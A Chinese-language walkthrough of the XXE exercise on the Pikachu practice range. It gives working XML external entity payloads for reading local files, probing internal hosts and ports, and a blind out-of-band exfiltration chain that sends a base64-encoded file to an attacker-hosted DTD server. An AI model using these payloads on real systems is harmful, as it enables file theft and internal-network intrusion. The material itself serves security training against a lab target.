一、XML和XXE的区别
XML是传递数据的一种格式,而XXE是XML传递数据过程中产生的一种漏洞,两者是完全不同的
二、解题
1.1 前提
- 靶场地址:http://192.168.93.134/pikachu/vul/xxe/xxe.php
- 靶机操作系统:Windows10
如下是文件地址:
1.2 使用代码进行文件读取
-
前提:
对接收到的数据进行输出显示:
-
POC
如下POC是固定格式,只需要更改文件地址就可以读取不同的文件
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c://1.txt"> ]> <x>&xxe;</x>
1.3 内网探针或攻击内网应用
-
前提:
地址文件必须正确:
-
POC
<?xml version = "1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTYTY rabbit SYSTEM "http://192.168.93.134:80/pikachu/vul/xxe/xxe.php"> ]> <x>&rabbit;</x>
上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放。
1.4 RCE
需要引入外部实体,一般遇不到
1.5 无回显读取文件
POC代码
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.93.134:8081/test.dtd">
%dtd;
%send;
]>
www目录下文件:
<!ENTITY % payload
"<!ENTITY % send SYSTEM
'http://192.168.93.134:8081/?data=%file;'>"
>
%payload;